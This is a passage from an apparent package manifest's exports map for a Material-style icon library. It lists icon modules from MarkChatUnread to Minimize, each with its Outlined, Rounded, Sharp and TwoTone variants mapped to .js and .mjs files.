\"./MarkChatUnreadRounded.mjs\"\n    },\n    \"./MarkChatUnreadSharp\": {\n      \"import\": \"./MarkChatUnreadSharp.mjs\",\n      \"require\": \"./MarkChatUnreadSharp.js\",\n      \"default\": \"./MarkChatUnreadSharp.mjs\"\n    },\n    \"./MarkChatUnreadTwoTone\": {\n      \"import\": \"./MarkChatUnreadTwoTone.mjs\",\n      \"require\": \"./MarkChatUnreadTwoTone.js\",\n      \"default\": \"./MarkChatUnreadTwoTone.mjs\"\n    },\n    \"./MarkEmailRead\": {\n      \"import\": \"./MarkEmailRead.mjs\",\n      \"require\": \"./MarkEmailRead.js\",\n      \"default\": \"./MarkEmailRead.mjs\"\n    },\n    \"./MarkEmailReadOutlined\": {\n      \"import\": \"./MarkEmailReadOutlined.mjs\",\n      \"require\": \"./MarkEmailReadOutlined.js\",\n      \"default\": \"./MarkEmailReadOutlined.mjs\"\n    },\n    \"./MarkEmailReadRounded\": {\n      \"import\": \"./MarkEmailReadRounded.mjs\",\n      \"require\": \"./MarkEmailReadRounded.js\",\n      \"default\": \"./MarkEmailReadRounded.mjs\"\n    },\n    \"./MarkEmailReadSharp\": {\n      \"import\": \"./MarkEmailReadSharp.mjs\",\n      \"require\": \"./MarkEmailReadSharp.js\",\n      \"default\": \"./MarkEmailReadSharp.mjs\"\n    },\n    \"./MarkEmailReadTwoTone\": {\n      \"import\": \"./MarkEmailReadTwoTone.mjs\",\n      \"require\": \"./MarkEmailReadTwoTone.js\",\n      \"default\": \"./MarkEmailReadTwoTone.mjs\"\n    },\n    \"./MarkEmailUnread\": {\n      \"import\": \"./MarkEmailUnread.mjs\",\n      \"require\": \"./MarkEmailUnread.js\",\n      \"default\": \"./MarkEmailUnread.mjs\"\n    },\n    \"./MarkEmailUnreadOutlined\": {\n      \"require\": \"./MarkEmailUnreadOutlined.js\",\n      \"import\": \"./MarkEmailUnreadOutlined.mjs\",\n      \"default\": \"./MarkEmailUnreadOutlined.mjs\"\n    },\n    \"./MarkEmailUnreadRounded\": {\n      \"require\": \"./MarkEmailUnreadRounded.js\",\n      \"import\": \"./MarkEmailUnreadRounded.mjs\",\n      \"default\": \"./MarkEmailUnreadRounded.mjs\"\n    },\n    \"./MarkEmailUnreadSharp\": {\n      \"require\": \"./MarkEmailUnreadSharp.js\",\n      \"import\": \"./MarkEmailUnreadSharp.mjs\",\n      \"default\": \"./MarkEmailUnreadSharp.mjs\"\n    },\n    \"./MarkEmailUnreadTwoTone\": {\n      \"require\": \"./MarkEmailUnreadTwoTone.js\",\n      \"import\": \"./MarkEmailUnreadTwoTone.mjs\",\n      \"default\": \"./MarkEmailUnreadTwoTone.mjs\"\n    },\n    \"./MarkUnreadChatAlt\": {\n      \"require\": \"./MarkUnreadChatAlt.js\",\n      \"import\": \"./MarkUnreadChatAlt.mjs\",\n      \"default\": \"./MarkUnreadChatAlt.mjs\"\n    },\n    \"./MarkUnreadChatAltOutlined\": {\n      \"require\": \"./MarkUnreadChatAltOutlined.js\",\n      \"import\": \"./MarkUnreadChatAltOutlined.mjs\",\n      \"default\": \"./MarkUnreadChatAltOutlined.mjs\"\n    },\n    \"./MarkUnreadChatAltRounded\": {\n      \"require\": \"./MarkUnreadChatAltRounded.js\",\n      \"import\": \"./MarkUnreadChatAltRounded.mjs\",\n      \"default\": \"./MarkUnreadChatAltRounded.mjs\"\n    },\n    \"./MarkUnreadChatAltSharp\": {\n      \"require\": \"./MarkUnreadChatAltSharp.js\",\n      \"import\": \"./MarkUnreadChatAltSharp.mjs\",\n      \"default\": \"./MarkUnreadChatAltSharp.mjs\"\n    },\n    \"./MarkUnreadChatAltTwoTone\": {\n      \"require\": \"./MarkUnreadChatAltTwoTone.js\",\n      \"import\": \"./MarkUnreadChatAltTwoTone.mjs\",\n      \"default\": \"./MarkUnreadChatAltTwoTone.mjs\"\n    },\n    \"./Markunread\": {\n      \"require\": \"./Markunread.js\",\n      \"import\": \"./Markunread.mjs\",\n      \"default\": \"./Markunread.mjs\"\n    },\n    \"./MarkunreadMailbox\": {\n      \"require\": \"./MarkunreadMailbox.js\",\n      \"import\": \"./MarkunreadMailbox.mjs\",\n      \"default\": \"./MarkunreadMailbox.mjs\"\n    },\n    \"./MarkunreadMailboxOutlined\": {\n      \"require\": \"./MarkunreadMailboxOutlined.js\",\n      \"import\": \"./MarkunreadMailboxOutlined.mjs\",\n      \"default\": \"./MarkunreadMailboxOutlined.mjs\"\n    },\n    \"./MarkunreadMailboxRounded\": {\n      \"require\": \"./MarkunreadMailboxRounded.js\",\n      \"import\": \"./MarkunreadMailboxRounded.mjs\",\n      \"default\": \"./MarkunreadMailboxRounded.mjs\"\n    },\n    \"./MarkunreadMailboxSharp\": {\n      \"require\": \"./MarkunreadMailboxSharp.js\",\n      \"import\": \"./MarkunreadMailboxSharp.mjs\",\n      \"default\": \"./MarkunreadMailboxSharp.mjs\"\n    },\n    \"./MarkunreadMailboxTwoTone\": {\n      \"require\": \"./MarkunreadMailboxTwoTone.js\",\n      \"import\": \"./MarkunreadMailboxTwoTone.mjs\",\n      \"default\": \"./MarkunreadMailboxTwoTone.mjs\"\n    },\n    \"./MarkunreadOutlined\": {\n      \"require\": \"./MarkunreadOutlined.js\",\n      \"import\": \"./MarkunreadOutlined.mjs\",\n      \"default\": \"./MarkunreadOutlined.mjs\"\n    },\n    \"./MarkunreadRounded\": {\n      \"require\": \"./MarkunreadRounded.js\",\n      \"import\": \"./MarkunreadRounded.mjs\",\n      \"default\": \"./MarkunreadRounded.mjs\"\n    },\n    \"./MarkunreadSharp\": {\n      \"require\": \"./MarkunreadSharp.js\",\n      \"import\": \"./MarkunreadSharp.mjs\",\n      \"default\": \"./MarkunreadSharp.mjs\"\n    },\n    \"./MarkunreadTwoTone\": {\n      \"require\": \"./MarkunreadTwoTone.js\",\n      \"import\": \"./MarkunreadTwoTone.mjs\",\n      \"default\": \"./MarkunreadTwoTone.mjs\"\n    },\n    \"./Masks\": {\n      \"require\": \"./Masks.js\",\n      \"import\": \"./Masks.mjs\",\n      \"default\": \"./Masks.mjs\"\n    },\n    \"./MasksOutlined\": {\n      \"require\": \"./MasksOutlined.js\",\n      \"import\": \"./MasksOutlined.mjs\",\n      \"default\": \"./MasksOutlined.mjs\"\n    },\n    \"./MasksRounded\": {\n      \"require\": \"./MasksRounded.js\",\n      \"import\": \"./MasksRounded.mjs\",\n      \"default\": \"./MasksRounded.mjs\"\n    },\n    \"./MasksSharp\": {\n      \"require\": \"./MasksSharp.js\",\n      \"import\": \"./MasksSharp.mjs\",\n      \"default\": \"./MasksSharp.mjs\"\n    },\n    \"./MasksTwoTone\": {\n      \"require\": \"./MasksTwoTone.js\",\n      \"import\": \"./MasksTwoTone.mjs\",\n      \"default\": \"./MasksTwoTone.mjs\"\n    },\n    \"./Maximize\": {\n      \"require\": \"./Maximize.js\",\n      \"import\": \"./Maximize.mjs\",\n      \"default\": \"./Maximize.mjs\"\n    },\n    \"./MaximizeOutlined\": {\n      \"require\": \"./MaximizeOutlined.js\",\n      \"import\": \"./MaximizeOutlined.mjs\",\n      \"default\": \"./MaximizeOutlined.mjs\"\n    },\n    \"./MaximizeRounded\": {\n      \"require\": \"./MaximizeRounded.js\",\n      \"import\": \"./MaximizeRounded.mjs\",\n      \"default\": \"./MaximizeRounded.mjs\"\n    },\n    \"./MaximizeSharp\": {\n      \"require\": \"./MaximizeSharp.js\",\n      \"import\": \"./MaximizeSharp.mjs\",\n      \"default\": \"./MaximizeSharp.mjs\"\n    },\n    \"./MaximizeTwoTone\": {\n      \"require\": \"./MaximizeTwoTone.js\",\n      \"import\": \"./MaximizeTwoTone.mjs\",\n      \"default\": \"./MaximizeTwoTone.mjs\"\n    },\n    \"./MediaBluetoothOff\": {\n      \"require\": \"./MediaBluetoothOff.js\",\n      \"import\": \"./MediaBluetoothOff.mjs\",\n      \"default\": \"./MediaBluetoothOff.mjs\"\n    },\n    \"./MediaBluetoothOffOutlined\": {\n      \"require\": \"./MediaBluetoothOffOutlined.js\",\n      \"import\": \"./MediaBluetoothOffOutlined.mjs\",\n      \"default\": \"./MediaBluetoothOffOutlined.mjs\"\n    },\n    \"./MediaBluetoothOffRounded\": {\n      \"require\": \"./MediaBluetoothOffRounded.js\",\n      \"import\": \"./MediaBluetoothOffRounded.mjs\",\n      \"default\": \"./MediaBluetoothOffRounded.mjs\"\n    },\n    \"./MediaBluetoothOffSharp\": {\n      \"require\": \"./MediaBluetoothOffSharp.js\",\n      \"import\": \"./MediaBluetoothOffSharp.mjs\",\n      \"default\": \"./MediaBluetoothOffSharp.mjs\"\n    },\n    \"./MediaBluetoothOffTwoTone\": {\n      \"require\": \"./MediaBluetoothOffTwoTone.js\",\n      \"import\": \"./MediaBluetoothOffTwoTone.mjs\",\n      \"default\": \"./MediaBluetoothOffTwoTone.mjs\"\n    },\n    \"./MediaBluetoothOn\": {\n      \"import\": \"./MediaBluetoothOn.mjs\",\n      \"require\": \"./MediaBluetoothOn.js\",\n      \"default\": \"./MediaBluetoothOn.mjs\"\n    },\n    \"./MediaBluetoothOnOutlined\": {\n      \"import\": \"./MediaBluetoothOnOutlined.mjs\",\n      \"require\": \"./MediaBluetoothOnOutlined.js\",\n      \"default\": \"./MediaBluetoothOnOutlined.mjs\"\n    },\n    \"./MediaBluetoothOnRounded\": {\n      \"import\": \"./MediaBluetoothOnRounded.mjs\",\n      \"require\": \"./MediaBluetoothOnRounded.js\",\n      \"default\": \"./MediaBluetoothOnRounded.mjs\"\n    },\n    \"./MediaBluetoothOnSharp\": {\n      \"import\": \"./MediaBluetoothOnSharp.mjs\",\n      \"require\": \"./MediaBluetoothOnSharp.js\",\n      \"default\": \"./MediaBluetoothOnSharp.mjs\"\n    },\n    \"./MediaBluetoothOnTwoTone\": {\n      \"import\": \"./MediaBluetoothOnTwoTone.mjs\",\n      \"require\": \"./MediaBluetoothOnTwoTone.js\",\n      \"default\": \"./MediaBluetoothOnTwoTone.mjs\"\n    },\n    \"./Mediation\": {\n      \"import\": \"./Mediation.mjs\",\n      \"require\": \"./Mediation.js\",\n      \"default\": \"./Mediation.mjs\"\n    },\n    \"./MediationOutlined\": {\n      \"import\": \"./MediationOutlined.mjs\",\n      \"require\": \"./MediationOutlined.js\",\n      \"default\": \"./MediationOutlined.mjs\"\n    },\n    \"./MediationRounded\": {\n      \"import\": \"./MediationRounded.mjs\",\n      \"require\": \"./MediationRounded.js\",\n      \"default\": \"./MediationRounded.mjs\"\n    },\n    \"./MediationSharp\": {\n      \"import\": \"./MediationSharp.mjs\",\n      \"require\": \"./MediationSharp.js\",\n      \"default\": \"./MediationSharp.mjs\"\n    },\n    \"./MediationTwoTone\": {\n      \"import\": \"./MediationTwoTone.mjs\",\n      \"require\": \"./MediationTwoTone.js\",\n      \"default\": \"./MediationTwoTone.mjs\"\n    },\n    \"./MedicalInformation\": {\n      \"import\": \"./MedicalInformation.mjs\",\n      \"require\": \"./MedicalInformation.js\",\n      \"default\": \"./MedicalInformation.mjs\"\n    },\n    \"./MedicalInformationOutlined\": {\n      \"import\": \"./MedicalInformationOutlined.mjs\",\n      \"require\": \"./MedicalInformationOutlined.js\",\n      \"default\": \"./MedicalInformationOutlined.mjs\"\n    },\n    \"./MedicalInformationRounded\": {\n      \"import\": \"./MedicalInformationRounded.mjs\",\n      \"require\": \"./MedicalInformationRounded.js\",\n      \"default\": \"./MedicalInformationRounded.mjs\"\n    },\n    \"./MedicalInformationSharp\": {\n      \"import\": \"./MedicalInformationSharp.mjs\",\n      \"require\": \"./MedicalInformationSharp.js\",\n      \"default\": \"./MedicalInformationSharp.mjs\"\n    },\n    \"./MedicalInformationTwoTone\": {\n      \"import\": \"./MedicalInformationTwoTone.mjs\",\n      \"require\": \"./MedicalInformationTwoTone.js\",\n      \"default\": \"./MedicalInformationTwoTone.mjs\"\n    },\n    \"./MedicalServices\": {\n      \"import\": \"./MedicalServices.mjs\",\n      \"require\": \"./MedicalServices.js\",\n      \"default\": \"./MedicalServices.mjs\"\n    },\n    \"./MedicalServicesOutlined\": {\n      \"import\": \"./MedicalServicesOutlined.mjs\",\n      \"require\": \"./MedicalServicesOutlined.js\",\n      \"default\": \"./MedicalServicesOutlined.mjs\"\n    },\n    \"./MedicalServicesRounded\": {\n      \"import\": \"./MedicalServicesRounded.mjs\",\n      \"require\": \"./MedicalServicesRounded.js\",\n      \"default\": \"./MedicalServicesRounded.mjs\"\n    },\n    \"./MedicalServicesSharp\": {\n      \"import\": \"./MedicalServicesSharp.mjs\",\n      \"require\": \"./MedicalServicesSharp.js\",\n      \"default\": \"./MedicalServicesSharp.mjs\"\n    },\n    \"./MedicalServicesTwoTone\": {\n      \"import\": \"./MedicalServicesTwoTone.mjs\",\n      \"require\": \"./MedicalServicesTwoTone.js\",\n      \"default\": \"./MedicalServicesTwoTone.mjs\"\n    },\n    \"./Medication\": {\n      \"import\": \"./Medication.mjs\",\n      \"require\": \"./Medication.js\",\n      \"default\": \"./Medication.mjs\"\n    },\n    \"./MedicationLiquid\": {\n      \"import\": \"./MedicationLiquid.mjs\",\n      \"require\": \"./MedicationLiquid.js\",\n      \"default\": \"./MedicationLiquid.mjs\"\n    },\n    \"./MedicationLiquidOutlined\": {\n      \"import\": \"./MedicationLiquidOutlined.mjs\",\n      \"require\": \"./MedicationLiquidOutlined.js\",\n      \"default\": \"./MedicationLiquidOutlined.mjs\"\n    },\n    \"./MedicationLiquidRounded\": {\n      \"import\": \"./MedicationLiquidRounded.mjs\",\n      \"require\": \"./MedicationLiquidRounded.js\",\n      \"default\": \"./MedicationLiquidRounded.mjs\"\n    },\n    \"./MedicationLiquidSharp\": {\n      \"import\": \"./MedicationLiquidSharp.mjs\",\n      \"require\": \"./MedicationLiquidSharp.js\",\n      \"default\": \"./MedicationLiquidSharp.mjs\"\n    },\n    \"./MedicationLiquidTwoTone\": {\n      \"import\": \"./MedicationLiquidTwoTone.mjs\",\n      \"require\": \"./MedicationLiquidTwoTone.js\",\n      \"default\": \"./MedicationLiquidTwoTone.mjs\"\n    },\n    \"./MedicationOutlined\": {\n      \"import\": \"./MedicationOutlined.mjs\",\n      \"require\": \"./MedicationOutlined.js\",\n      \"default\": \"./MedicationOutlined.mjs\"\n    },\n    \"./MedicationRounded\": {\n      \"import\": \"./MedicationRounded.mjs\",\n      \"require\": \"./MedicationRounded.js\",\n      \"default\": \"./MedicationRounded.mjs\"\n    },\n    \"./MedicationSharp\": {\n      \"import\": \"./MedicationSharp.mjs\",\n      \"require\": \"./MedicationSharp.js\",\n      \"default\": \"./MedicationSharp.mjs\"\n    },\n    \"./MedicationTwoTone\": {\n      \"import\": \"./MedicationTwoTone.mjs\",\n      \"require\": \"./MedicationTwoTone.js\",\n      \"default\": \"./MedicationTwoTone.mjs\"\n    },\n    \"./MeetingRoom\": {\n      \"import\": \"./MeetingRoom.mjs\",\n      \"require\": \"./MeetingRoom.js\",\n      \"default\": \"./MeetingRoom.mjs\"\n    },\n    \"./MeetingRoomOutlined\": {\n      \"import\": \"./MeetingRoomOutlined.mjs\",\n      \"require\": \"./MeetingRoomOutlined.js\",\n      \"default\": \"./MeetingRoomOutlined.mjs\"\n    },\n    \"./MeetingRoomRounded\": {\n      \"import\": \"./MeetingRoomRounded.mjs\",\n      \"require\": \"./MeetingRoomRounded.js\",\n      \"default\": \"./MeetingRoomRounded.mjs\"\n    },\n    \"./MeetingRoomSharp\": {\n      \"import\": \"./MeetingRoomSharp.mjs\",\n      \"require\": \"./MeetingRoomSharp.js\",\n      \"default\": \"./MeetingRoomSharp.mjs\"\n    },\n    \"./MeetingRoomTwoTone\": {\n      \"import\": \"./MeetingRoomTwoTone.mjs\",\n      \"require\": \"./MeetingRoomTwoTone.js\",\n      \"default\": \"./MeetingRoomTwoTone.mjs\"\n    },\n    \"./Memory\": {\n      \"import\": \"./Memory.mjs\",\n      \"require\": \"./Memory.js\",\n      \"default\": \"./Memory.mjs\"\n    },\n    \"./MemoryOutlined\": {\n      \"import\": \"./MemoryOutlined.mjs\",\n      \"require\": \"./MemoryOutlined.js\",\n      \"default\": \"./MemoryOutlined.mjs\"\n    },\n    \"./MemoryRounded\": {\n      \"import\": \"./MemoryRounded.mjs\",\n      \"require\": \"./MemoryRounded.js\",\n      \"default\": \"./MemoryRounded.mjs\"\n    },\n    \"./MemorySharp\": {\n      \"import\": \"./MemorySharp.mjs\",\n      \"require\": \"./MemorySharp.js\",\n      \"default\": \"./MemorySharp.mjs\"\n    },\n    \"./MemoryTwoTone\": {\n      \"import\": \"./MemoryTwoTone.mjs\",\n      \"require\": \"./MemoryTwoTone.js\",\n      \"default\": \"./MemoryTwoTone.mjs\"\n    },\n    \"./Menu\": {\n      \"import\": \"./Menu.mjs\",\n      \"require\": \"./Menu.js\",\n      \"default\": \"./Menu.mjs\"\n    },\n    \"./MenuBook\": {\n      \"import\": \"./MenuBook.mjs\",\n      \"require\": \"./MenuBook.js\",\n      \"default\": \"./MenuBook.mjs\"\n    },\n    \"./MenuBookOutlined\": {\n      \"import\": \"./MenuBookOutlined.mjs\",\n      \"require\": \"./MenuBookOutlined.js\",\n      \"default\": \"./MenuBookOutlined.mjs\"\n    },\n    \"./MenuBookRounded\": {\n      \"import\": \"./MenuBookRounded.mjs\",\n      \"require\": \"./MenuBookRounded.js\",\n      \"default\": \"./MenuBookRounded.mjs\"\n    },\n    \"./MenuBookSharp\": {\n      \"import\": \"./MenuBookSharp.mjs\",\n      \"require\": \"./MenuBookSharp.js\",\n      \"default\": \"./MenuBookSharp.mjs\"\n    },\n    \"./MenuBookTwoTone\": {\n      \"import\": \"./MenuBookTwoTone.mjs\",\n      \"require\": \"./MenuBookTwoTone.js\",\n      \"default\": \"./MenuBookTwoTone.mjs\"\n    },\n    \"./MenuOpen\": {\n      \"import\": \"./MenuOpen.mjs\",\n      \"require\": \"./MenuOpen.js\",\n      \"default\": \"./MenuOpen.mjs\"\n    },\n    \"./MenuOpenOutlined\": {\n      \"import\": \"./MenuOpenOutlined.mjs\",\n      \"require\": \"./MenuOpenOutlined.js\",\n      \"default\": \"./MenuOpenOutlined.mjs\"\n    },\n    \"./MenuOpenRounded\": {\n      \"import\": \"./MenuOpenRounded.mjs\",\n      \"require\": \"./MenuOpenRounded.js\",\n      \"default\": \"./MenuOpenRounded.mjs\"\n    },\n    \"./MenuOpenSharp\": {\n      \"require\": \"./MenuOpenSharp.js\",\n      \"import\": \"./MenuOpenSharp.mjs\",\n      \"default\": \"./MenuOpenSharp.mjs\"\n    },\n    \"./MenuOpenTwoTone\": {\n      \"require\": \"./MenuOpenTwoTone.js\",\n      \"import\": \"./MenuOpenTwoTone.mjs\",\n      \"default\": \"./MenuOpenTwoTone.mjs\"\n    },\n    \"./MenuOutlined\": {\n      \"require\": \"./MenuOutlined.js\",\n      \"import\": \"./MenuOutlined.mjs\",\n      \"default\": \"./MenuOutlined.mjs\"\n    },\n    \"./MenuRounded\": {\n      \"require\": \"./MenuRounded.js\",\n      \"import\": \"./MenuRounded.mjs\",\n      \"default\": \"./MenuRounded.mjs\"\n    },\n    \"./MenuSharp\": {\n      \"require\": \"./MenuSharp.js\",\n      \"import\": \"./MenuSharp.mjs\",\n      \"default\": \"./MenuSharp.mjs\"\n    },\n    \"./MenuTwoTone\": {\n      \"require\": \"./MenuTwoTone.js\",\n      \"import\": \"./MenuTwoTone.mjs\",\n      \"default\": \"./MenuTwoTone.mjs\"\n    },\n    \"./Merge\": {\n      \"require\": \"./Merge.js\",\n      \"import\": \"./Merge.mjs\",\n      \"default\": \"./Merge.mjs\"\n    },\n    \"./MergeOutlined\": {\n      \"require\": \"./MergeOutlined.js\",\n      \"import\": \"./MergeOutlined.mjs\",\n      \"default\": \"./MergeOutlined.mjs\"\n    },\n    \"./MergeRounded\": {\n      \"require\": \"./MergeRounded.js\",\n      \"import\": \"./MergeRounded.mjs\",\n      \"default\": \"./MergeRounded.mjs\"\n    },\n    \"./MergeSharp\": {\n      \"require\": \"./MergeSharp.js\",\n      \"import\": \"./MergeSharp.mjs\",\n      \"default\": \"./MergeSharp.mjs\"\n    },\n    \"./MergeTwoTone\": {\n      \"require\": \"./MergeTwoTone.js\",\n      \"import\": \"./MergeTwoTone.mjs\",\n      \"default\": \"./MergeTwoTone.mjs\"\n    },\n    \"./MergeType\": {\n      \"require\": \"./MergeType.js\",\n      \"import\": \"./MergeType.mjs\",\n      \"default\": \"./MergeType.mjs\"\n    },\n    \"./MergeTypeOutlined\": {\n      \"require\": \"./MergeTypeOutlined.js\",\n      \"import\": \"./MergeTypeOutlined.mjs\",\n      \"default\": \"./MergeTypeOutlined.mjs\"\n    },\n    \"./MergeTypeRounded\": {\n      \"require\": \"./MergeTypeRounded.js\",\n      \"import\": \"./MergeTypeRounded.mjs\",\n      \"default\": \"./MergeTypeRounded.mjs\"\n    },\n    \"./MergeTypeSharp\": {\n      \"require\": \"./MergeTypeSharp.js\",\n      \"import\": \"./MergeTypeSharp.mjs\",\n      \"default\": \"./MergeTypeSharp.mjs\"\n    },\n    \"./MergeTypeTwoTone\": {\n      \"require\": \"./MergeTypeTwoTone.js\",\n      \"import\": \"./MergeTypeTwoTone.mjs\",\n      \"default\": \"./MergeTypeTwoTone.mjs\"\n    },\n    \"./Message\": {\n      \"require\": \"./Message.js\",\n      \"import\": \"./Message.mjs\",\n      \"default\": \"./Message.mjs\"\n    },\n    \"./MessageOutlined\": {\n      \"require\": \"./MessageOutlined.js\",\n      \"import\": \"./MessageOutlined.mjs\",\n      \"default\": \"./MessageOutlined.mjs\"\n    },\n    \"./MessageRounded\": {\n      \"import\": \"./MessageRounded.mjs\",\n      \"require\": \"./MessageRounded.js\",\n      \"default\": \"./MessageRounded.mjs\"\n    },\n    \"./MessageSharp\": {\n      \"import\": \"./MessageSharp.mjs\",\n      \"require\": \"./MessageSharp.js\",\n      \"default\": \"./MessageSharp.mjs\"\n    },\n    \"./MessageTwoTone\": {\n      \"import\": \"./MessageTwoTone.mjs\",\n      \"require\": \"./MessageTwoTone.js\",\n      \"default\": \"./MessageTwoTone.mjs\"\n    },\n    \"./Mic\": {\n      \"import\": \"./Mic.mjs\",\n      \"require\": \"./Mic.js\",\n      \"default\": \"./Mic.mjs\"\n    },\n    \"./MicExternalOff\": {\n      \"import\": \"./MicExternalOff.mjs\",\n      \"require\": \"./MicExternalOff.js\",\n      \"default\": \"./MicExternalOff.mjs\"\n    },\n    \"./MicExternalOffOutlined\": {\n      \"import\": \"./MicExternalOffOutlined.mjs\",\n      \"require\": \"./MicExternalOffOutlined.js\",\n      \"default\": \"./MicExternalOffOutlined.mjs\"\n    },\n    \"./MicExternalOffRounded\": {\n      \"import\": \"./MicExternalOffRounded.mjs\",\n      \"require\": \"./MicExternalOffRounded.js\",\n      \"default\": \"./MicExternalOffRounded.mjs\"\n    },\n    \"./MicExternalOffSharp\": {\n      \"import\": \"./MicExternalOffSharp.mjs\",\n      \"require\": \"./MicExternalOffSharp.js\",\n      \"default\": \"./MicExternalOffSharp.mjs\"\n    },\n    \"./MicExternalOffTwoTone\": {\n      \"import\": \"./MicExternalOffTwoTone.mjs\",\n      \"require\": \"./MicExternalOffTwoTone.js\",\n      \"default\": \"./MicExternalOffTwoTone.mjs\"\n    },\n    \"./MicExternalOn\": {\n      \"import\": \"./MicExternalOn.mjs\",\n      \"require\": \"./MicExternalOn.js\",\n      \"default\": \"./MicExternalOn.mjs\"\n    },\n    \"./MicExternalOnOutlined\": {\n      \"import\": \"./MicExternalOnOutlined.mjs\",\n      \"require\": \"./MicExternalOnOutlined.js\",\n      \"default\": \"./MicExternalOnOutlined.mjs\"\n    },\n    \"./MicExternalOnRounded\": {\n      \"import\": \"./MicExternalOnRounded.mjs\",\n      \"require\": \"./MicExternalOnRounded.js\",\n      \"default\": \"./MicExternalOnRounded.mjs\"\n    },\n    \"./MicExternalOnSharp\": {\n      \"import\": \"./MicExternalOnSharp.mjs\",\n      \"require\": \"./MicExternalOnSharp.js\",\n      \"default\": \"./MicExternalOnSharp.mjs\"\n    },\n    \"./MicExternalOnTwoTone\": {\n      \"import\": \"./MicExternalOnTwoTone.mjs\",\n      \"require\": \"./MicExternalOnTwoTone.js\",\n      \"default\": \"./MicExternalOnTwoTone.mjs\"\n    },\n    \"./MicNone\": {\n      \"import\": \"./MicNone.mjs\",\n      \"require\": \"./MicNone.js\",\n      \"default\": \"./MicNone.mjs\"\n    },\n    \"./MicNoneOutlined\": {\n      \"require\": \"./MicNoneOutlined.js\",\n      \"import\": \"./MicNoneOutlined.mjs\",\n      \"default\": \"./MicNoneOutlined.mjs\"\n    },\n    \"./MicNoneRounded\": {\n      \"require\": \"./MicNoneRounded.js\",\n      \"import\": \"./MicNoneRounded.mjs\",\n      \"default\": \"./MicNoneRounded.mjs\"\n    },\n    \"./MicNoneSharp\": {\n      \"require\": \"./MicNoneSharp.js\",\n      \"import\": \"./MicNoneSharp.mjs\",\n      \"default\": \"./MicNoneSharp.mjs\"\n    },\n    \"./MicNoneTwoTone\": {\n      \"require\": \"./MicNoneTwoTone.js\",\n      \"import\": \"./MicNoneTwoTone.mjs\",\n      \"default\": \"./MicNoneTwoTone.mjs\"\n    },\n    \"./MicOff\": {\n      \"require\": \"./MicOff.js\",\n      \"import\": \"./MicOff.mjs\",\n      \"default\": \"./MicOff.mjs\"\n    },\n    \"./MicOffOutlined\": {\n      \"require\": \"./MicOffOutlined.js\",\n      \"import\": \"./MicOffOutlined.mjs\",\n      \"default\": \"./MicOffOutlined.mjs\"\n    },\n    \"./MicOffRounded\": {\n      \"require\": \"./MicOffRounded.js\",\n      \"import\": \"./MicOffRounded.mjs\",\n      \"default\": \"./MicOffRounded.mjs\"\n    },\n    \"./MicOffSharp\": {\n      \"require\": \"./MicOffSharp.js\",\n      \"import\": \"./MicOffSharp.mjs\",\n      \"default\": \"./MicOffSharp.mjs\"\n    },\n    \"./MicOffTwoTone\": {\n      \"require\": \"./MicOffTwoTone.js\",\n      \"import\": \"./MicOffTwoTone.mjs\",\n      \"default\": \"./MicOffTwoTone.mjs\"\n    },\n    \"./MicOutlined\": {\n      \"require\": \"./MicOutlined.js\",\n      \"import\": \"./MicOutlined.mjs\",\n      \"default\": \"./MicOutlined.mjs\"\n    },\n    \"./MicRounded\": {\n      \"require\": \"./MicRounded.js\",\n      \"import\": \"./MicRounded.mjs\",\n      \"default\": \"./MicRounded.mjs\"\n    },\n    \"./MicSharp\": {\n      \"require\": \"./MicSharp.js\",\n      \"import\": \"./MicSharp.mjs\",\n      \"default\": \"./MicSharp.mjs\"\n    },\n    \"./MicTwoTone\": {\n      \"require\": \"./MicTwoTone.js\",\n      \"import\": \"./MicTwoTone.mjs\",\n      \"default\": \"./MicTwoTone.mjs\"\n    },\n    \"./Microsoft\": {\n      \"require\": \"./Microsoft.js\",\n      \"import\": \"./Microsoft.mjs\",\n      \"default\": \"./Microsoft.mjs\"\n    },\n    \"./Microwave\": {\n      \"require\": \"./Microwave.js\",\n      \"import\": \"./Microwave.mjs\",\n      \"default\": \"./Microwave.mjs\"\n    },\n    \"./MicrowaveOutlined\": {\n      \"require\": \"./MicrowaveOutlined.js\",\n      \"import\": \"./MicrowaveOutlined.mjs\",\n      \"default\": \"./MicrowaveOutlined.mjs\"\n    },\n    \"./MicrowaveRounded\": {\n      \"require\": \"./MicrowaveRounded.js\",\n      \"import\": \"./MicrowaveRounded.mjs\",\n      \"default\": \"./MicrowaveRounded.mjs\"\n    },\n    \"./MicrowaveSharp\": {\n      \"require\": \"./MicrowaveSharp.js\",\n      \"import\": \"./MicrowaveSharp.mjs\",\n      \"default\": \"./MicrowaveSharp.mjs\"\n    },\n    \"./MicrowaveTwoTone\": {\n      \"require\": \"./MicrowaveTwoTone.js\",\n      \"import\": \"./MicrowaveTwoTone.mjs\",\n      \"default\": \"./MicrowaveTwoTone.mjs\"\n    },\n    \"./MilitaryTech\": {\n      \"require\": \"./MilitaryTech.js\",\n      \"import\": \"./MilitaryTech.mjs\",\n      \"default\": \"./MilitaryTech.mjs\"\n    },\n    \"./MilitaryTechOutlined\": {\n      \"require\": \"./MilitaryTechOutlined.js\",\n      \"import\": \"./MilitaryTechOutlined.mjs\",\n      \"default\": \"./MilitaryTechOutlined.mjs\"\n    },\n    \"./MilitaryTechRounded\": {\n      \"require\": \"./MilitaryTechRounded.js\",\n      \"import\": \"./MilitaryTechRounded.mjs\",\n      \"default\": \"./MilitaryTechRounded.mjs\"\n    },\n    \"./MilitaryTechSharp\": {\n      \"require\": \"./MilitaryTechSharp.js\",\n      \"import\": \"./MilitaryTechSharp.mjs\",\n      \"default\": \"./MilitaryTechSharp.mjs\"\n    },\n    \"./MilitaryTechTwoTone\": {\n      \"require\": \"./MilitaryTechTwoTone.js\",\n      \"import\": \"./MilitaryTechTwoTone.mjs\",\n      \"default\": \"./MilitaryTechTwoTone.mjs\"\n    },\n    \"./Minimize\": {\n      \"require\": \"./Minimize.js\",\n      \"import\": \"./Minimize.mjs\",\n      \"default\": \"./Minimize.mjs\"\n    },\n    \"./MinimizeOutlined\": {\n      \"require\": \"./MinimizeOutlined.js\",\n      \"import\": \"./MinimizeOutlined.mjs\",\n      \"default\": \"./MinimizeOutlined.mjs\"\n    },\n    \"./MinimizeRounded\": {\n      \"require\": \"./MinimizeRounded.js\",\n      \"import\": \"./MinimizeRounded.mjs\",\n      \"default\": \"./MinimizeRounded.mjs\"\n    },\n    \"./MinimizeSharp\": {\n      \"require\": \"./MinimizeSharp.js\",\n      \"import\": \"./MinimizeSharp.mjs\",\n      \"default\": \"./MinimizeSharp.mjs\"\n    },\n    \"./MinimizeTwoTone\": {\n      \"require\": \"./MinimizeTwoTone.js\",\n      \"import\": \"./MinimizeTwoTone.mjs\",\n      